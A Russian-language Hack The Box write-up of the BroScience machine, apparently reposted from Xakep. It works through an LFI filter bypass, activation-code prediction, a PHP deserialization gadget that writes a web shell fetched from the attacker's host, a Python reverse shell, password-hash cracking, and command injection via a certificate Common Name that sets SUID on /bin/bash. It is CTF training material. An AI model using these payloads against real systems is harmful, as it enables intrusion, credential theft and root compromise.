Хакер -HTB BroScience. Эксплуатируем LFI и ошибку сериализации в коде на PHP
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- LFI
- Точка опоры
- Байпас 2FA
- Deserialization RCE
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как обходить фильтр локального включения файлов (LFI), затем разберем алгоритм генератора кода активации и проэксплуатируем уязвимость в функции десериализации объекта PHP. Получив доступ к хосту, повысим привилегии через инъекцию команд в скрипте на Bash.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.195 broscience.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашли три открытых порта: 22 — служба OpenSSH 8.4p1, 80 и 443 — веб‑сервер Apache 2.4.54.
Помимо этого, мы нашли редирект с порта 80 на 443, а из поля commonName сертификата узнаем реальный домен (его мы и так уже записали в /etc/hosts).

ТОЧКА ВХОДА
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch, dirb или ffuf. Я предпочитаю feroxbuster.
При запуске используем следующие параметры:
-u— URL;-w— словарь (я использую словари из набора Seclists);-t— количество потоков;-d— глубина сканирования.
Запускаем feroxbuster
feroxbuster -u https://broscience.htb/ -k -w directory_2.3_medium_lowercase.txt -t 256 -d 2

Находим много каталогов, большинство из которых — второго уровня. Однако при просмотре найденных страниц определяем, что каталог /includes/ не проиндексирован, то есть мы можем посмотреть все файлы, которые в нем находятся.

По порядку перебираем файлы в надежде раскрыть еще какую‑нибудь информацию. В ответ на запрос файла img.php получаем сообщение о том, что нужно задать параметр path.

LFI
Так как файл img.php принимает путь к файлу, поищем уязвимость произвольного включения файлов (LFI). Попробуем обойти каталоги и указать файл /etc/passwd.
https://broscience.htb/includes/img.php?path=../../../../../../../../etc/passwd

И получаем сообщение о том, что нашу атаку обнаружили. Тогда я решил пробрутить путь по списку с разными вариантами обхода фильтров. Сделать это можно с помощью Burp Intruder.


Выяснили, что для обхода фильтра достаточно просто дважды закодировать путь в кодировке URL. Пробуем закодировать путь к файлу /etc/passwd и прочитать файл.

В открытом каталоге мы видели файл db_connect.php, а теперь мы можем его прочитать.

Получаем учетные данные для подключения к базе данных (включая соль для хеширования). Но авторизоваться с ними не вышло.
ТОЧКА ОПОРЫ
Байпас 2FA
Регистрируемся на сайте, но сразу узнаем, что авторизоваться не выйдет. Это связано с тем, что на указанную почту будет отправлена ссылка для активации аккаунта.

Благодаря LFI прочитаем файл register.php и разберем код: возможно, там будет зависимый от каких‑либо факторов генератор ссылки.

В строке 34 выполняется включение файла utils.php, затем в строке 35 используется функция generate_activation_code, которая и генерирует код. В строке 44 сгенерированный код вставляется в ссылку для отправления пользователю. Из интересного отметим, что при хешировании пароля пользователя используется соль из файла для подключения к базе данных (строка 41).
Продолжаем охоту за генератором кода активации и читаем файл includes/utils.php.

Код активации состоит из 32 случайных символов (строка 7), но не совсем случайных. Дело в том, что псевдослучайное значение, которое возвращает функция rand, все равно зависимо от сида функции (это значение будет преобразовано особым алгоритмом в первое случайное число). То есть если мы будем знать инициализатор рандома, то сможем рассчитать все «случайные» символы. В строке 4 в качестве сида используется текущее время на сервере, которое мы можем получить из ответа сервера в Burp History.

Повторяем алгоритм и вместо функции time() используем полученное значение времени.
<?php
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Tue, 21 Feb 2023 12:22:20 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
?>

Используем этот код в ссылке для активации созданного аккаунта.

Теперь спокойно авторизуемся на сайте.
Deserialization RCE
Смотрим запросы в Burp History и обращаем внимание на установленные куки user-prefs.

В исходном коде страницы находим участок кода, где куки формируются и устанавливаются. Узнаем, что это сериализованный и закодированный в Base64 объект.

Затем происходит десериализация объекта, и он никак не проверяется. Значит, мы можем использовать десериализацию для подстановки другого объекта. Также находим класс Avatar, у которого есть функция записи файла.

Таким образом, мы можем создать объект класса AvatarInterface, который получит данные по указанному URL и запишет их в локальный файл PHP. Сериализуем его, и это даст нам шелл на сайте.
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.78/sh.txt";
public $imgPath = "./sh.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
echo base64_encode(serialize(new AvatarInterface));
?>

Теперь на своем веб‑сервере в файл sh.txt записываем самый простой PHP-шелл.
<?php system($_GET['cmd']); ?>
Вставляем созданные куки на сайт и отправляем запрос.

На наш веб‑сервер придет запрос файла sh.txt, а значит, шелл на сайте создан. Проверяем его: выполним команду id.

А теперь мы можем получить реверс‑шелл. Обычно я использую код на Python.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'

ПРОДВИЖЕНИЕ
На хосте работает и используется сайтом PostgreSQL. С полученными ранее учетными данными подключаемся к СУБД и получаем все таблицы из базы broscience.
psql -h localhost -d broscience -U dbuser
\dt

Есть таблица users, получаем из нее все данные.
select * from users;

Сохраняем извлеченные из базы хеши вместе с известной нам солью в формате хеш:соль и отправляем на перебор с помощью hashcat.
hashcat -m 20 hash.txt rockyou.txt

Так мы узнаем три пароля, и с первым паролем выходит авторизоваться по SSH от имени пользователя bill.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию. Поскольку вариантов может быть много, я для этого использую скпты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации. Из интересного — какой‑то скрипт renew_cert.sh в каталоге /opt.

Скрипт запускается такой командой:
/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
Это легко определить при помощи pspy64. Перейдем к анализу самого скрипта.

Скрипт принимает в качестве параметра путь к сертификату и проверяет срок его действия. Если он истекает через день, то из сертификата извлекаются все поля и с этими значениями генерируется новый. Обратим внимание на команду, которая перемещает новый сертификат. В нее в качестве нового имени файла просто вставляется содержимое поля Common Name. Таким образом, мы можем выполнить инъекцию команды, к примеру присвоить S-бит файлу командной оболочки /bin/bash.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Генерируем новый сертификат и при запросе Common Name указываем команду $(chmod +s /bin/bash)
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out ./Certs/broscience.crt -days 1

Периодически проверяем права на файл /bin/bash и замечаем появившийся S-бит.

Теперь можно получить привилегированный контекст.
/bin/bash -p

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei